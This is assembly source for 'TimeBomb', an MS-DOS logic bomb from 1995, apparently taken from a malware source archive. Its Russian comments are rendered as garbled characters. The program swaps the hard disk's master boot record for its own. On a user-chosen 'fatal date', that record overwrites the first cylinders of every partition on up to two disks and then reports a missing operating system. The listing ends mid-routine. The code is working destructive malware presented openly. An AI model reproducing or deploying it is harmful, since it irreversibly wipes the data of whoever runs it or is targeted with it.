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vxug-MalwareSourceCode/MSDOS/Virus.MSDOS.Unknown.timebomb.asm

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2021-01-13 00:01:59 +00:00
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
; (C) ANS (Armourer) TimeBomb Ver 1.00 25 Jun
; FIDOnet 2:461/29.444 FreeWare, SourceWare 1995
;
;
; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> MBR. <20><> <20><><EFBFBD>⨦<EFBFBD><E2A8A6><EFBFBD><EFBFBD> <20><>।<EFBFBD><E0A5A4><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD> <20><>⠫쭮 <20><><EFBFBD>堥<EFBFBD> <20><><EFBFBD><EFBFBD>
;
; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> MBR <20><><EFBFBD><EFBFBD><EFBFBD>뢠<EFBFBD><EBA2A0><EFBFBD><EFBFBD> <20> 䠩<> c:\mbr.bak, <20>⮡<EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD> <20>뫮 <20><><EFBFBD><EFBFBD>⠭<EFBFBD><E2A0AD><EFBFBD><EFBFBD><EFBFBD>,
; <20>᫨ <20><><EFBFBD>. <20><>ࠢ<EFBFBD><E0A0A2><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> MBR <20><> <20><><EFBFBD><EFBFBD>砥<EFBFBD>, ⠪ <20><><EFBFBD> <20>᫨ <20><> <20><><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD>-<2D><>
; <20><><EFBFBD><EFBFBD><EFBFBD> 㬭<><E3ACAD>, <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD>㧪<EFBFBD> <20><><EFBFBD>⥬<EFBFBD> <20> <20><>⨢<EFBFBD><E2A8A2><EFBFBD><EFBFBD> ࠧ<><E0A0A7><EFBFBD><EFBFBD> - TimeBomb <20>ਤ<EFBFBD><E0A8A4><EFBFBD><EFBFBD>
; <20><>।<EFBFBD><E0A5A4><EFBFBD><EFBFBD><EFBFBD>.
;
; <20><><EFBFBD> <20>ࠡ<EFBFBD><E0A0A1>뢠<EFBFBD><EBA2A0><EFBFBD> TimeBomb <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> 4 樫<><E6A8AB><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> ࠧ<><E0A0A7><EFBFBD><EFBFBD> <20><>
; <20><><EFBFBD><EFBFBD><EFBFBD>, <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>᪨<EFBFBD> <20><>᪨ DOS (extended partition)
;
; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>, <20><><EFBFBD> Non-DOS ࠧ<><E0A0A7><EFBFBD><EFBFBD> (HPFS, <20><><EFBFBD>ਬ<EFBFBD><E0A8AC>) <20><><EFBFBD> <20>⮬ <20><><EFBFBD><EFBFBD>ࠤ<EFBFBD><E0A0A4><EFBFBD>
; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>⥫쭮 - <20> <20><>裡 <20> <20><>७<EFBFBD><E0A5AD><EFBFBD> <20>⫨稥<E2ABA8> <20><> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><> DOS FAT.
;
killed_cyl = 4 ; <20><>᫮ 㡨<><E3A1A8><EFBFBD><EFBFBD><EFBFBD><EFBFBD> 樫<><E6A8AB><EFBFBD>஢ <20> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> ࠧ<><E0A0A7><EFBFBD><EFBFBD>
xor_value = 73h ; <20><><EFBFBD>祭<EFBFBD><E7A5AD> <20><><EFBFBD><EFBFBD><EFBFBD>஢<EFBFBD><E0AEA2><EFBFBD><EFBFBD> <20><>襣<EFBFBD> <20><>᫥<EFBFBD><E1ABA5><EFBFBD><EFBFBD><EFBFBD> ᫮<><E1ABAE> ;-)
locals
cseg segment
assume cs:cseg
org 100h
.286
start proc near
;
; <20><><EFBFBD>⠫<EFBFBD><E2A0AB><EFBFBD><EFBFBD><EFBFBD>
;
; <20>஢<EFBFBD><E0AEA2>塞 <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><>ப<EFBFBD>
mov si, 80h
mov bl, byte ptr [si]
xor bh, bh
cmp bl, 8
jnc @@checkdate
help:
; <20> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><>ப<EFBFBD> <20><> 㪠<><E3AAA0><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD> - <20>뢮<EFBFBD><EBA2AE><EFBFBD> <20><><EFBFBD>᪠<EFBFBD><E1AAA0><EFBFBD>
mov dx, offset @@title
mov ah, 9
int 21h
int 20h
; <20><><EFBFBD><EFBFBD>祭<EFBFBD><E7A5AD> BCD-<2D><>᫠ <20><> <20><><EFBFBD>. <20><>ப<EFBFBD>
getBCD proc near
dec si
mov ax, word ptr [si+bx] ; <20><>६ <20><>᫥<EFBFBD><E1ABA5><EFBFBD><EFBFBD> <20><><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD>
sub ax, '00' ; ASCII -> BIN
xchg al, ah
db 0d5h, 10h ; AAD <20> <20><><EFBFBD><EFBFBD>䨪<EFBFBD><E4A8AA><EFBFBD>஬ 16
cmp al, 9ah
jnc help
dec si ; <20>ࠧ<EFBFBD> <20><><EFBFBD><EFBFBD>室<EFBFBD><E5AEA4> <20> ᫥<><E1ABA5><EFBFBD>饬<EFBFBD> <20><><EFBFBD><EFBFBD>
dec si
retn
getBCD endp
@@checkdate: ; <20>஢<EFBFBD><E0AEA2>塞 <20><><EFBFBD><EFBFBD> (᭠砫<E1ADA0> <20><><EFBFBD>, <20><>⥬ <20><><EFBFBD><EFBFBD><EFBFBD>, <20><>⥬ <20><>᫮)
; <20> <20>ਢ<EFBFBD><E0A8A2><EFBFBD><EFBFBD> <20><> <20> <20>㦭<EFBFBD><E3A6AD><EFBFBD> <20><>ଠ<EFBFBD><E0ACA0>
; <20><><EFBFBD>४⭮<E0A5AA><E2ADAE><EFBFBD> <20><><EFBFBD><EFBFBD> <20><> <20>஢<EFBFBD><E0AEA2>塞 - <20><><EFBFBD> <20>஡<EFBFBD><E0AEA1><EFBFBD><EFBFBD> <20><><EFBFBD>짮<EFBFBD><ECA7AE>⥫<EFBFBD> -
; <20><><EFBFBD> <20><> ⠬ <20><><EFBFBD><EFBFBD>
call getBCD ; <20><>६ <20><><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD>
mov byte ptr year, al ; <20><><EFBFBD><EFBFBD>稫<EFBFBD> BCD-year
cmp byte ptr [bx+si+1], '.' ; <20>஢<EFBFBD><E0AEA2>塞 ࠧ<><E0A0A7><EFBFBD><EFBFBD>⥫<EFBFBD>
jne help
call getBCD ; <20><>६ <20><><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
mov byte ptr month, al ; <20><><EFBFBD><EFBFBD>稫<EFBFBD> BCD-month
cmp byte ptr [bx+si+1], '.' ; <20>஢<EFBFBD><E0AEA2>塞 ࠧ<><E0A0A7><EFBFBD><EFBFBD>⥫<EFBFBD>
jne help
call getBCD ; <20><>६ <20><><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD>
mov byte ptr day, al ; <20><><EFBFBD><EFBFBD>稫<EFBFBD> BCD-day
@@singledisk:
;
; <20><><EFBFBD><EFBFBD><EFBFBD>塞 MBR <20><><EFBFBD><EFBFBD><EFBFBD> ᢮<><E1A2AE> <20><><EFBFBD><EFBFBD><EFBFBD> <20><> bomb proc
;
; <20><>⠥<EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> MBR, <20><><EFBFBD>࠭塞 <20><><EFBFBD> <20> c:\mbr.bak, <20><>襬 ᥡ<>
;
; <20><>⠥<EFBFBD> MBR
mov cx, 1
mov dx, 80h
mov ax, 201h
mov bx, offset buffer
int 13h
jnc @@rd_ok
mov dx, offset @@rd_err
@@err_exit: ; <20>뢮<EFBFBD> ᮮ<>饭<EFBFBD><E9A5AD> <20><> DX <20> <20>뫥<EFBFBD> <20><> <20>訡<EFBFBD><E8A8A1>
mov ah, 9
int 21h
retn
@@rd_ok:
; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> 䠩<>
mov dx, offset @@fname
xor cx, cx
mov ah, 3ch
int 21h
jnc @@cr_ok
mov dx, offset @@cr_err
jmp @@err_exit
@@cr_ok:
; <20><>襬 <20> 䠩<>
mov bx, ax
mov cx, 512
mov dx, offset buffer
mov ah, 40h
int 21h
jnc @@wr_ok
mov dx, offset @@wr_err
jmp @@err_exit
@@wr_ok:
; <20><><EFBFBD><EFBFBD>뢠<EFBFBD><EBA2A0> 䠩<>
mov ah, 3eh
int 21h
;
; <20><>७<EFBFBD>ᨬ ᢮<> MBR <20><> <20><><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD>ண<EFBFBD>
;
mov si, offset bomb
mov di, offset buffer
mov bx, di
mov cx, di
sub cx, si
cld
rep movsb
;
; <20><><EFBFBD><EFBFBD><EFBFBD>뢠<EFBFBD><EBA2A0> <20><><EFBFBD><EFBFBD><EFBFBD> MBR <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD>ண<EFBFBD>
;
mov cx, 1
mov dx, 80h
mov ax, 301h
int 13h
mov dx, offset @@mbr_wr_err
jc @@err_exit
mov dx, offset @@done_msg
jmp @@err_exit
; <20><><EFBFBD><EFBFBD>饭<EFBFBD><E9A5AD> <20><> <20>訡<EFBFBD><E8A8A1><EFBFBD>
@@rd_err: db 'Error read the MBR of C:',13,10,'$'
@@cr_err: db 'Error creating the '
@@fname: db 'C:\MBR.BAK',0,'file',13,10,'$'
@@wr_err: db 'Error writing backup file',13,10,'$'
@@mbr_wr_err: db 'Error writing new MBR',13,10,'$'
@@done_msg: db 'Your MBR replaced by TimeBomb',13,10,'$'
; <20><><EFBFBD>⠢<EFBFBD><E2A0A2>
@@title:
db 13,10,10
db '(C) Armourer TimeBomb Ver 1.00 25 Jun 1995',13,10,10
db ' Usage: timebomb <date>',13,10,10
db ' Where <date> is a fatal date for your computer.',13,10
db ' Date format must be in exUSSR standard: DD.MM.YY',13,10,10
db 'Good Luck ;)',13,10,'$'
start endp
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
; <20><><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD>. <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20> MBR (<28><> MBR <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>)
;
; <20><><EFBFBD><EFBFBD> <20><><EFBFBD> <20>㤥<EFBFBD> <20><><EFBFBD><EFBFBD>⮢<EFBFBD><E2AEA2><EFBFBD> <20> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> 0:7c00h
;
bomb proc near
; <20><><EFBFBD><EFBFBD>ࠨ<EFBFBD><E0A0A8><EFBFBD><EFBFBD> <20>⥪ <20> <20><>७<EFBFBD>ᨬ MBR, <20>㤠 <20><><EFBFBD><EFBFBD> (0:600h)
cli
mov ax, cs
mov ss, ax
mov ds, ax
mov es, ax
mov si, 7c00h
mov sp, si
push si ; <20><><EFBFBD> <20>㦭<EFBFBD> <20><><EFBFBD> <20><>᫥<EFBFBD><E1ABA5><EFBFBD>饣<EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> boot'<27>
cld
mov cx, 1beh / 2 ; <20><>᫥ ⠪<><E2A0AA><EFBFBD> <20><>७<EFBFBD><E0A5AD><EFBFBD> SI <20>㤥<EFBFBD> 㪠<>뢠<EFBFBD><EBA2A0>
mov di, 600h ; <20><> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
rep movsw
push ax ; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
push offset beginbomb - offset bomb + 600h ; <20><><EFBFBD>饭<EFBFBD><E9A5AD>
retf
beginbomb:
; <20>஢<EFBFBD><E0AEA2>塞 <20>६<EFBFBD>
mov ah, 4
int 1ah ; <20><><EFBFBD>竨 <20><><EFBFBD><EFBFBD> <20> CX:DX
jc @@skipbomb ; <20>᫨ <20><><EFBFBD><EFBFBD> <20><> ࠡ<><E0A0A1><EFBFBD><EFBFBD><EFBFBD> -> <20>ய<EFBFBD>᪠<EFBFBD><E1AAA0> <20>஢<EFBFBD><E0AEA2><EFBFBD><EFBFBD>
year = $ + 2
cmp cl, 12h ; <20>஢<EFBFBD><E0AEA2>塞 <20><><EFBFBD>
jc @@skipbomb ; <20><><EFBFBD> <20><> ᮢ<><E1AEA2><EFBFBD> ;)
jne @@explode ; <20>᫨ <20><><EFBFBD><EFBFBD> <20><><EFBFBD> <20><><EFBFBD>襫 - <20><><EFBFBD>뢠<EFBFBD><EBA2A0><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
month = $ + 3
day = $ + 2
cmp dx, 1234h ; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> ⠪, <20>⮡<EFBFBD> <20><> ᣥ<><E1A3A5><EFBFBD><EFBFBD>஢<EFBFBD><E0AEA2><EFBFBD><EFBFBD>
; <20><><EFBFBD><EFBFBD>⪨<EFBFBD> <20><>ਠ<EFBFBD><E0A8A0> <20><><EFBFBD> CMP
jc @@skipbomb ; <20><> ᮢ<><E1AEA2><EFBFBD> <20><><EFBFBD><EFBFBD> <20> <20><><EFBFBD><EFBFBD><EFBFBD>
@@explode:
;
; <20><><EFBFBD> ᮢ<><E1AEA2><EFBFBD><EFBFBD>, <20><><EFBFBD>諠 <20><>ୠ<EFBFBD> <20><><EFBFBD><EFBFBD>...
;
; <20><><EFBFBD>ࠥ<EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> 樫<><E6A8AB><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> ࠧ<><E0A0A7><EFBFBD><EFBFBD> (<28><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>᪨<EFBFBD>
; <20><>᪨ DOS)
;
; <20><>⠭<EFBFBD><E2A0AD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20> <20><><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD> <20><>ࠬ<EFBFBD><E0A0AC><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD>
mov dl, 80h
call destroy
; <20><>⠭<EFBFBD><E2A0AD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><>ࠬ<EFBFBD><E0A0AC><EFBFBD><EFBFBD> <20><><EFBFBD>ண<EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD>, <20>᫨ <20><> <20><><EFBFBD><EFBFBD>
ror dl, 1 ; <20>᫨ <20><><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD>, 䫠<> CF <20>㤥<EFBFBD> <20><>⠭<EFBFBD><E2A0AD><EFBFBD><EFBFBD><EFBFBD>
jc @@singledisk
mov dl, 81h
call destroy
@@singledisk:
jmp @@incorrect ; <20>뢮<EFBFBD><EBA2AE><EFBFBD> ᮮ<>饭<EFBFBD><E9A5AD> "Missing operating ssytem"
@@skipbomb:
;
; <20><>ࠡ<EFBFBD>⪠ <20><>ଠ<EFBFBD>쭮<EFBFBD><ECADAE> <20><><EFBFBD><EFBFBD> MBR
;
; <20>饬 <20><><EFBFBD><EFBFBD>㧮<EFBFBD><E3A7AE><EFBFBD><EFBFBD> ࠧ<><E0A0A7><EFBFBD>
mov cl, 4 ; <20><><EFBFBD><EFBFBD> <20>ᥣ<EFBFBD> 4 <20><>ਠ<EFBFBD><E0A8A0><EFBFBD> ...
@@searchboot: ; <20><><EFBFBD><EFBFBD> <20><><EFBFBD>᪠
mov dx, word ptr [si] ; <20>ࠧ<EFBFBD> <20><><EFBFBD><EFBFBD>㦠<EFBFBD><E3A6A0> <20> DX <20><>, <20><><EFBFBD> <20>㦭<EFBFBD>
cmp dl, 80h ; <20><><EFBFBD><EFBFBD> ࠧ<><E0A0A7><EFBFBD> <20><><EFBFBD><EFBFBD>㧮<EFBFBD><E3A7AE><EFBFBD><EFBFBD> ?
je @@boot
add si, 10h ; <20><><EFBFBD><EFBFBD>室<EFBFBD><E5AEA4> <20> ᫥<><E1ABA5><EFBFBD>饩 <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
loop @@searchboot
; <20><> <20><>諨 - <20>뤠<EFBFBD><EBA4A0> ᮮ<>饭<EFBFBD><E9A5AD>
@@incorrect:
call errmsg
db 'Missing operating system',0
@@boot: ; <20><><EFBFBD><EFBFBD>㦠<EFBFBD><E3A6A0> boot-ᥪ<><E1A5AA><EFBFBD> <20> <20><>।<EFBFBD><E0A5A4><EFBFBD> <20><><EFBFBD> <20><>ࠢ<EFBFBD><E0A0A2><EFBFBD><EFBFBD><EFBFBD>
mov cx, word ptr [si+2] ; <20><><EFBFBD> <20><><EFBFBD><EFBFBD> - <20> CX
mov ax, 201h ; <20><>⠥<EFBFBD> 1 ᥪ<><E1A5AA><EFBFBD>
pop bx ; <20><> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> 0:7c00h
push bx
int 13h
jnc @@exit
call errmsg
db 'Error reading operating system',0
@@exit:
cmp word ptr [bx + 510], 0aa55h
jne @@incorrect
retn ; <20><><EFBFBD><EFBFBD>᪠<EFBFBD><E1AAA0> boot
;
; <09><><EFBFBD><EFBFBD>ணࠬ<E0AEA3><E0A0AC>
;
; <20>뤠<EFBFBD><EBA4A0> ᮮ<>饭<EFBFBD><E9A5AD> <20><> <20>訡<EFBFBD><E8A8A1>
errmsg proc near
sti
cld
pop si
mov ah, 0eh
@@nextchar:
lodsb
or al, al
je $
int 10h
jmp @@nextchar
errmsg endp
; <20><>室 <20><><EFBFBD><EFBFBD> ࠧ<><E0A0A7><EFBFBD><EFBFBD><EFBFBD> <20><>᪠ <20> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><> <20><>ࠬ<EFBFBD><E0A0AC>஢ <20> <20><><EFBFBD><EFBFBD><EFBFBD>
getpart proc near
; <20><><EFBFBD> ४<><E0A5AA>ᨢ<EFBFBD><E1A8A2><EFBFBD> <20>㭪<EFBFBD><E3ADAA><EFBFBD>.
; <20><> <20>室<EFBFBD> <20> SI <20>ॡ<EFBFBD><E0A5A1><EFBFBD><EFBFBD><EFBFBD> 㪠<><E3AAA0>⥫<EFBFBD> <20><> <20><><EFBFBD>।<EFBFBD><E0A5A4><EFBFBD> ࠧ<><E0A0A7><EFBFBD>
; <20> <20><><EFBFBD><EFBFBD><EFBFBD> <20><> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> ES:DI <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><>ࠬ<EFBFBD><E0A0AC><EFBFBD><EFBFBD> ⥪.ࠧ<><E0A0A7><EFBFBD><EFBFBD>
mov cx, 4 ; <20><><EFBFBD><EFBFBD>稪 ࠧ<><E0A0A7><EFBFBD><EFBFBD><EFBFBD> <20> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> MBR
@@nextpart:
; <20>஢<EFBFBD><E0AEA2>塞 ⨯ ࠧ<><E0A0A7><EFBFBD><EFBFBD>
cmp byte ptr [si+4], 0 ; <20><><EFBFBD>ᯮ<EFBFBD><E1AFAE><EFBFBD>㥬<EFBFBD><E3A5AC> ࠧ<><E0A0A7><EFBFBD>
je @@exit
; <20><>襬 <20> <20><><EFBFBD><EFBFBD><EFBFBD> <20><>ࠬ<EFBFBD><E0A0AC><EFBFBD><EFBFBD> ࠧ<><E0A0A7><EFBFBD><EFBFBD>
mov ax, word ptr [si] ; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
stosw
mov dx, ax ; <20><>⮢<EFBFBD><E2AEA2><EFBFBD><EFBFBD> <20><> <20>室<EFBFBD> <20> ४<><E0A5AA><EFBFBD><EFBFBD><EFBFBD>
disk1 = $ + 1
mov dl, 80h ; <20><><EFBFBD><EFBFBD><EFBFBD> <20><>ࠡ<EFBFBD><E0A0A1>뢠<EFBFBD><EBA2A0><EFBFBD><EFBFBD><EFBFBD> <20><>᪠
mov ax, word ptr [si+2]
stosw ; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>/ᥪ<><E1A5AA><EFBFBD>
; <20><><EFBFBD><EFBFBD><EFBFBD> <20>஢<EFBFBD><E0AEA2>塞 ⨯ ࠧ<><E0A0A7><EFBFBD><EFBFBD> - <20><> <20><><EFBFBD><EFBFBD><EFBFBD>७<EFBFBD><E0A5AD><EFBFBD> <20><> <20><> ?
cmp byte ptr [si+4], 5
jne @@exit ; <20><><EFBFBD> - <20><><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
; <20><><EFBFBD>塞 <20> ४<><E0A5AA><EFBFBD><EFBFBD><EFBFBD>
; <20><>⠥<EFBFBD> MBR <20><><EFBFBD><EFBFBD><EFBFBD>७<EFBFBD><E0A5AD><EFBFBD><EFBFBD> ࠧ<><E0A0A7><EFBFBD><EFBFBD>
push cx ; <20><><EFBFBD>࠭塞 <20><><EFBFBD><EFBFBD>稪
push si ; <20><><EFBFBD>࠭塞 㪠<><E3AAA0>⥫<EFBFBD> <20><> ࠧ<><E0A0A7><EFBFBD><EFBFBD>
add bx, 512 ; <20>த<EFBFBD><E0AEA4><EFBFBD><EFBFBD><EFBFBD><EFBFBD> 㪠<><E3AAA0>⥫<EFBFBD> <20><> <20><><EFBFBD><EFBFBD><EFBFBD>
mov cx, ax ; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> CX:DX 㪠<>뢠<EFBFBD><EBA2A0> <20><> MBR
mov ax, 201h ; <20><><EFBFBD><EFBFBD><EFBFBD>७<EFBFBD><E0A5AD><EFBFBD><EFBFBD> ࠧ<><E0A0A7><EFBFBD><EFBFBD>
int 13h ; <20><>⠥<EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD>७<EFBFBD><E0A5AD><EFBFBD> ࠧ<><E0A0A7><EFBFBD> <20> 0:BX
jnc @@rec ; <20>஢<EFBFBD>ઠ <20><> <20><><EFBFBD>४⭮<E0A5AA><E2ADAE><EFBFBD>
; <20><>室<EFBFBD><E5AEA4> <20><> ४<><E0A5AA>ᨨ <20> <20><><EFBFBD>砥 ᡮ<>
pop si
pop cx
sub bx, 512
jmp @@exit
@@rec:
mov si, bx ; <20><>⠭<EFBFBD><E2A0AD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> 㪠<><E3AAA0>⥫<EFBFBD>
add si, 1beh ; <20><> ⠡<><E2A0A1><EFBFBD><EFBFBD> ࠧ<><E0A0A7><EFBFBD><EFBFBD><EFBFBD>
call getpart
@@exit:
add si, 10h
loop @@nextpart
; <20><>室 <20><> ४<><E0A5AA>ᨨ
sub bx, 512
pop dx
pop si
pop cx
push dx
retn
getpart endp
; <20><><EFBFBD><EFBFBD>⮦<EFBFBD><E2AEA6><EFBFBD><EFBFBD> ᮤ<>ন<EFBFBD><E0A6A8><EFBFBD><EFBFBD> ⥪<>饣<EFBFBD> <20><>᪠
destroy proc near
; <20><><EFBFBD><EFBFBD>砥<EFBFBD> <20><>ࠬ<EFBFBD><E0A0AC><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD>, 㪠<><E3AAA0><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20> DL
mov byte ptr ds:[offset disk - offset bomb + 600h], dl
mov byte ptr ds:[offset disk1 - offset bomb + 600h], dl
mov ah, 8
int 13h
mov byte ptr ds:[heads - offset bomb + 600h], dh
and cl, 63
mov byte ptr ds:[sectors - offset bomb + 600h], cl
push dx
mov bx, 0a00h ; <20><><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD> <20>⥭<EFBFBD><E2A5AD> MBR <20><><EFBFBD><EFBFBD><EFBFBD>७<EFBFBD><E0A5AD><EFBFBD> ࠧ<><E0A0A7><EFBFBD><EFBFBD><EFBFBD>
; <20><> 室<> <20><><EFBFBD><EFBFBD> <20> BX <20>㤥<EFBFBD> <20>ਡ<EFBFBD><E0A8A1><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><> 512 -
; ⠪ <20><><EFBFBD> <20><><EFBFBD>ᨬ<EFBFBD><E1A8AC><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20>஢<EFBFBD><E0AEA2><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
; <20><><EFBFBD>⠢<EFBFBD><E2A0A2> 57 ࠧ<><E0A0A7><EFBFBD><EFBFBD><EFBFBD>
mov di, 500h ; <20><><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD> <20><>ࠬ<EFBFBD><E0A0AC><EFBFBD><EFBFBD> <20><><EFBFBD> int 13h (64 <20><>᪠)
; <20><><EFBFBD><EFBFBD><EFBFBD>ᨢ<EFBFBD><E1A8A2> <20><>室<EFBFBD><E5AEA4> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>᪨<EFBFBD> <20><>᪨, <20><><EFBFBD><EFBFBD><EFBFBD>뢠<EFBFBD> <20> <20><><EFBFBD><EFBFBD><EFBFBD> <20><>ࠬ<EFBFBD><E0A0AC><EFBFBD><EFBFBD>
; <20><><EFBFBD> int 13h
push si ; <20><><EFBFBD>४<EFBFBD><E0A5AA><EFBFBD><EFBFBD> <20>室 <20> ४<><E0A5AA><EFBFBD><EFBFBD><EFBFBD>
push cx
xor ax, ax ; <20><>⠭<EFBFBD><E2A0AD><EFBFBD><EFBFBD> <20><><EFBFBD> <20><><EFBFBD>࠭<EFBFBD><E0A0AD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> MBR
stosw
inc ax
stosw
call getpart ; <20><>室 ࠧ<><E0A0A7><EFBFBD><EFBFBD><EFBFBD>
; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD>祭<EFBFBD><E7A5AD> <20>ய<EFBFBD><E0AEAF>뢠<EFBFBD><EBA2A0><EFBFBD>
; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20> bx <20><><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD> <20>ய<EFBFBD><E0AEAF>뢠<EFBFBD><EBA2A0><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20> <20><>ࠣ<EFBFBD><E0A0A3><EFBFBD><EFBFBD><EFBFBD> - 800h
push di ; <20><><EFBFBD>࠭塞 㪠<><E3AAA0>⥫<EFBFBD> <20><> 墮<><E5A2AE> ᯨ᪠ <20><>ࠬ<EFBFBD><E0A0AC>஢
mov di, bx ; <20> DI <20>㤥<EFBFBD> 㪠<><E3AAA0>⥫<EFBFBD> <20><> <20><><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
shl di, 4 ; <20><><EFBFBD><EFBFBD><EFBFBD> <20>㤥<EFBFBD> <20><>ᯮ<EFBFBD><E1AFAE><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><> ᬥ饭<E1ACA5><E9A5AD> 8000h
push di ; <20><><EFBFBD>࠭塞 <20><><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
@@nextword:
mov si, offset lmd - offset bomb + 600h
mov cx, 16
@@nextchar:
lodsb
xor al, xor_value
stosb
loop @@nextchar
dec bx
jne @@nextword
; <20><><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD> <20><> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
pop bx ; <20><><EFBFBD><EFBFBD>⠭<EFBFBD><E2A0AD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
